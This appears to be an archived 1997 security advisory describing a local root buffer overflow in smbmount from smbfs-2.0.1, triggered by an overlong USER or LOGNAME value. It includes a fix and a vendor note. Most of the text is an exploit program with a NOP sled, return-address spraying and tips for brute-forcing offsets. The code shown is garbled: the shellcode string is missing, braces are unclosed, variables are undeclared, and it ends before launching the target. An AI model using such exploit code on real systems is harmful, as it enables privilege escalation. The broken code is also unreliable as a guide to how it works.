Linux smbmount buffer overflow

Description:Standard overflow ...
Author:Gerald Britton <gbritton@NIH.GOV>
Compromise:root, but only if smbmount is suid root (it isn't suid at all in Redhat Linux.
Vulnerable Systems:Linux systems that use default source distributions, probably other linux distributions.
Date:27 June 1997

Date: Fri, 27 Jun 1997 12:53:52 -0400
From: Gerald Britton <gbritton@NIH.GOV>
Subject: smbmount buffer overflow

This program exploits a buffer overflow in the smbmount from smbfs-2.0.1
Systems are only vunerable if the smbmount binary is installed suid root,
the source distribution does this by default.  Redhat does not install
this suid root by default, so those systems are not vunerable to this
attack.  I have also recieved this note from S.u.S.E.:

> A fixed samba package (with smbfs-2.0.2) is ready.  It will be on
> in a few minutes.  S.u.S.E. Linux 5.0 will include this version also.

Here is the source for the exploit, the default parameters to the program
often work, however I have found that the offset parameter sometimes
varies wildly, values between -600 and -100 usually work though, a quick
shell script will scan through these.


** smbexpl -- a smbmount root exploit under Linux
** Author: Gerald Britton <>
** This code exploits a buffer overflow in smbmount from smbfs-2.0.1.
** The code does not do range checking when copying a username from
** the environment variables USER or LOGNAME.  To get this far into
** the code we need to execute with dummy arguments of a server and a
** mountpoint to use (./a in this case).  The user will need to create
** the ./a directory and then execute smbexpl to gain root.  This code
** is also setup to use /tmp/sh as the shell as bash-2.01 appears to
** do a seteuid(getuid()) so /bin/sh on my system won't work.  Finally
** a "-Q" (an invalid commandline argument) causes smbmount to fail when
** parsing args and terminate, thus jumping into our shellcode.
** The shellcode used in this program also needed to be specialized as
** smbmount toupper()'s the contents of the USER variable.  Self modifying
** code was needed to ensure that the shellcode will survive toupper().
** The quick fix for the security problem:
**          chmod -s /sbin/smbmount
** A better fix would be to patch smbmount to do bounds checking when
** copying the contents of the USER and LOGNAME variables.

#include <stdlib.h>
#include <stdio.h>

#define DEFAULT_OFFSET                 -202
#define DEFAULT_BUFFER_SIZE             211
#define DEFAULT_ALIGNMENT                 2
#define NOP                            0x90

/* This shell code is designed to survive being filtered by toupper() */

char shellcode[] =

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int alignment=DEFAULT_ALIGNMENT;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) alignment = atoi(argv[3]);
  printf("bsize=%d offset=%d alignment=%d\n",bsize,offset,alignment);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");

  addr = get_sp() - offset;
  fprintf(stderr,"Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) (ptr+alignment);
  for (i = 0; i < bsize-alignment; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + (128 - strlen(shellcode));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';



Gerald Britton

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